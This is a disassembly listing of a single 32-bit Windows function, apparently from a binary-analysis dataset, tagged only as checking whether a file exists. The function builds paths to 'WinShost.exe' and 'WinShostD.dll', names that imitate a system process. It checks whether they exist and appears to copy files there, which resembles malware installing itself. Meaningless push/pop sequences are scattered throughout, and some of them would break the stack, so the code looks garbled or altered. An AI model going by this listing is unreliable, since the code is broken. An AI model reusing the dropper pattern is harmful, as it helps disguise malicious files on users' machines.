Function at 0x41ef80
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5da411
mov eax, dword fs:[0]
push eax
sub esp, 0x288
mov eax, dword [0x66f33c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x294], ecx
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.0047be90
xor eax, eax
mov dword [ebp - 0x27c], 7
add esp, 0xc
mov dword [ebp - 0x280], 0
mov word [ebp - 0x290], ax
push eax
push 0x5e266c
lea ecx, [ebp - 0x278]
mov dword [ebp - 4], eax
mov dword [ebp - 0x264], 7
mov dword [ebp - 0x268], eax
mov word [ebp - 0x278], ax
call fcn.00403000
xor eax, eax
mov byte [ebp - 4], 1
push eax
push 0x5e266c
lea ecx, [ebp - 0x260]
mov dword [ebp - 0x24c], 7
mov dword [ebp - 0x250], 0
mov word [ebp - 0x260], ax
call fcn.00403000
xor eax, eax
mov byte [ebp - 4], 2
push eax
push 0x5e266c
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
call fcn.00403000
xor eax, eax
mov byte [ebp - 4], 3
push eax
push 0x5e266c
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x234], 7
mov dword [ebp - 0x238], 0
mov word [ebp - 0x248], ax
call fcn.00403000
mov byte [ebp - 4], 4
call fcn.004546e1
test al, al
je 0x41f0d2
push ecx
push esi
pop eax
pop eax
pop esi
pop ecx
push eax
push edx
pop edx
push ebp
pop esp
push ebx
pop edi
push ebx
pop ebp
push edi
push ecx
pop eax
push eax
pop ebx
push edx
push ebp
push edi
push ecx
pop edi
push ecx
push esp
pop eax
pop esi
mov ecx, dword [ebp - 0x294]
lea eax, [ebp - 0x218]
push eax
push str.8f3b1c
call fcn.0041fff0
cmp word [ebp - 0x218], 0
jne 0x41f0f7
xor ecx, ecx
jmp 0x41f10f
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41f100
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x290]
call fcn.00403000
call fcn.004547b0
test al, al
je 0x41f13b
pop eax
push esi
pop eax
pop esp
pop edx
pop ebp
pop ebx
push edi
push edx
push edi
pop edx
push edx
push ebp
push eax
push ebp
push edx
cmp dword [ebp - 0x280], 0
jne 0x41f153
push 0x74
call fcn.0045bdc5
add esp, 4
jmp 0x41f415
call fcn.00454543
test al, al
je 0x41f177
pop esp
pop ecx
pop ecx
push edx
pop esp
pop edx
push ecx
pop edi
push esi
pop ecx
pop ecx
pop ecx
push esi
pop ebp
push edx
push ebx
pop edx
push ecx
pop edx
push ebx
pop esi
push edi
push ebp
pop edx
push ebp
push esi
pop ecx
mov eax, dword [0x6743e0]
test eax, eax
jne 0x41f1af
push 0x15c
call fcn.0045133e
add esp, 4
mov dword [ebp - 0x294], eax
mov byte [ebp - 4], 5
test eax, eax
je 0x41f1a4
mov ecx, eax
call fcn.00443700
jmp 0x41f1a6
xor eax, eax
mov byte [ebp - 4], 4
mov dword [0x6743e0], eax
mov ecx, eax
call fcn.0045d928
mov edx, eax
cmp word [edx], 0
jne 0x41f1c2
xor ecx, ecx
jmp 0x41f1d6
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41f1c7
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x230]
call fcn.00403000
push 0xc
push str.WinShost.exe
lea ecx, [ebp - 0x230]
call fcn.00405290
mov eax, dword [0x6743e0]
test eax, eax
jne 0x41f22d
push 0x15c
call fcn.0045133e
add esp, 4
mov dword [ebp - 0x294], eax
mov byte [ebp - 4], 6
test eax, eax
je 0x41f222
mov ecx, eax
call fcn.00443700
jmp 0x41f224
xor eax, eax
mov byte [ebp - 4], 4
mov dword [0x6743e0], eax
mov ecx, eax
call fcn.0045d928
mov edx, eax
cmp word [edx], 0
jne 0x41f240
xor ecx, ecx
jmp 0x41f254
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41f245
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x248]
call fcn.00403000
push 0xd
push str.WinShostD.dll
lea ecx, [ebp - 0x248]
call fcn.00405290
call fcn.004543ea
test al, al
je 0x41f28c
push edi
pop esi
push ebx
push esi
push ebx
pop eax
push esi
push esp
push ebp
push edi
pop esi
push ebx
pop esp
pop esi
pop ebp
push esp
call fcn.00454726
test al, al
je 0x41f2a5
push ebp
push ebx
push ebp
pop ebx
pop esi
push edi
pop edi
push edx
pop edi
pop eax
push edi
pop ebp
pop esp
pop esp
push edi
pop ecx
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x290]
push eax
lea ecx, [ebp - 0x278]
call fcn.00402ee0
push 0xc
push str.WinShost.exe
lea ecx, [ebp - 0x278]
call fcn.00405290
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x290]
push eax
lea ecx, [ebp - 0x260]
call fcn.00402ee0
push 0xd
push str.WinShostD.dll
lea ecx, [ebp - 0x260]
call fcn.00405290
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
cmovae eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x41f338
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
cmovae eax, dword [ebp - 0x230]
push eax
push 0x75
call fcn.0045bdc5
add esp, 8
jmp 0x41f415
call fcn.004544b9
test al, al
je 0x41f352
push eax
push edx
pop ecx
pop esp
pop ecx
pop ebx
push ecx
push esi
push edi
push edi
pop esi
pop ebx
pop ebx
pop edi
pop ebp
push ecx
pop esp
cmp dword [ebp - 0x264], 8
lea ecx, [ebp - 0x278]
lea eax, [ebp - 0x230]
cmovae ecx, dword [ebp - 0x278]
cmp dword [ebp - 0x21c], 8
push ecx
cmovae eax, dword [ebp - 0x230]
push eax
call fcn.004567f1
cmp dword [ebp - 0x24c], 8
lea ecx, [ebp - 0x260]
lea eax, [ebp - 0x248]
cmovae ecx, dword [ebp - 0x260]
cmp dword [ebp - 0x234], 8
push ecx
cmovae eax, dword [ebp - 0x248]
push eax
call fcn.004567f1
cmp dword [ebp - 0x264], 8
lea ecx, [ebp - 0x278]
lea eax, [ebp - 0x230]
cmovae ecx, dword [ebp - 0x278]
cmp dword [ebp - 0x21c], 8
push ecx
cmovae eax, dword [ebp - 0x230]
push eax
push 0x76
call fcn.0045bdc5
cmp dword [ebp - 0x24c], 8
lea ecx, [ebp - 0x260]
lea eax, [ebp - 0x248]
cmovae ecx, dword [ebp - 0x260]
cmp dword [ebp - 0x234], 8
push ecx
cmovae eax, dword [ebp - 0x248]
push eax
push 0x76
call fcn.0045bdc5
add esp, 0x28
mov eax, dword [ebp - 0x234]
cmp eax, 8
jb 0x41f433
inc eax
lea ecx, [ebp - 0x248]
push eax
push dword [ebp - 0x248]
call fcn.00403100
xor eax, eax
mov dword [ebp - 0x234], 7
mov word [ebp - 0x248], ax
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x238], 0
cmp eax, 8
jb 0x41f46e
inc eax
lea ecx, [ebp - 0x230]
push eax
push dword [ebp - 0x230]
call fcn.00403100
xor eax, eax
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
mov eax, dword [ebp - 0x24c]
mov dword [ebp - 0x220], 0
cmp eax, 8
jb 0x41f4a9
inc eax
lea ecx, [ebp - 0x260]
push eax
push dword [ebp - 0x260]
call fcn.00403100
xor eax, eax
mov dword [ebp - 0x24c], 7
mov word [ebp - 0x260], ax
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x250], 0
cmp eax, 8
jb 0x41f4e4
inc eax
lea ecx, [ebp - 0x278]
push eax
push dword [ebp - 0x278]
call fcn.00403100
xor eax, eax
mov dword [ebp - 0x264], 7
mov word [ebp - 0x278], ax
mov eax, dword [ebp - 0x27c]
mov dword [ebp - 0x268], 0
cmp eax, 8
jb 0x41f51f
inc eax
lea ecx, [ebp - 0x290]
push eax
push dword [ebp - 0x290]
call fcn.00403100
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045132d
mov esp, ebp
pop ebp
ret